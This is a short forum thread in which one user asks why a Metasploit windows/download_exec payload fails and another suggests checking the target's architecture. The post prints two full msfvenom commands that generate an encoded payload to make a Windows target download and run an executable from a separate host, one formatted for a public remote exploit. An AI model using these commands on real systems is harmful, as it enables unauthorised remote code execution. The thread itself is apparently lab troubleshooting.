how to correctly use windows/download_exec payload?

[vailixi]

I was trying a bunch of ways to download and run programs then I was like ok there's a metasploit payload that does it. But it doesn't seem to want to work. I generated it with msfvenom a couple of different ways.

First I tried generating some hex to add to my python script to use as a payload with a remote exploit. Didn't work though. Here's the exploit for reference https://www.exploit-db.com/exploits/39008/

msfvenom -p windows/download_exec -e x86/shikata_ga_nai -i 3 -b '\x00' '\x20' '\x2f' '\x5c' --smallest --platform win -a x86 EXE=rocker.exe EXITFUNC=process URL=http://192.168.0.184/rocker.exe -f python -o /root/Desktop/down_exec.python

Then I decided to create an exe and run and just try to run that on the target machine it's just doesn't seem to be working. I'm not sure what I'm doing wrong here.

 msfvenom -p windows/download_exec -e x86/shikata_ga_nai -i 3 -b '\x00' '\x20' '\x2f' '\x5c' --smallest --platform win -a x86 EXE=rocker.exe EXITFUNC=process URL=http://192.168.0.184/rocker.exe -f exe -o /root/Desktop/down_exec.exe

Not really sure what I'm doing wrong here.

[Mr-Protocol]

Is your target machine 32 bit Windows? I don't remember if there is a x64 shikata_ga_nai.

Give this a read: https://www.offensive-security.com/metasploit-unleashed/

[vailixi]

There are some 64 bit encoders.

I've read through MSFU a few times now. I always seem to pick up something new.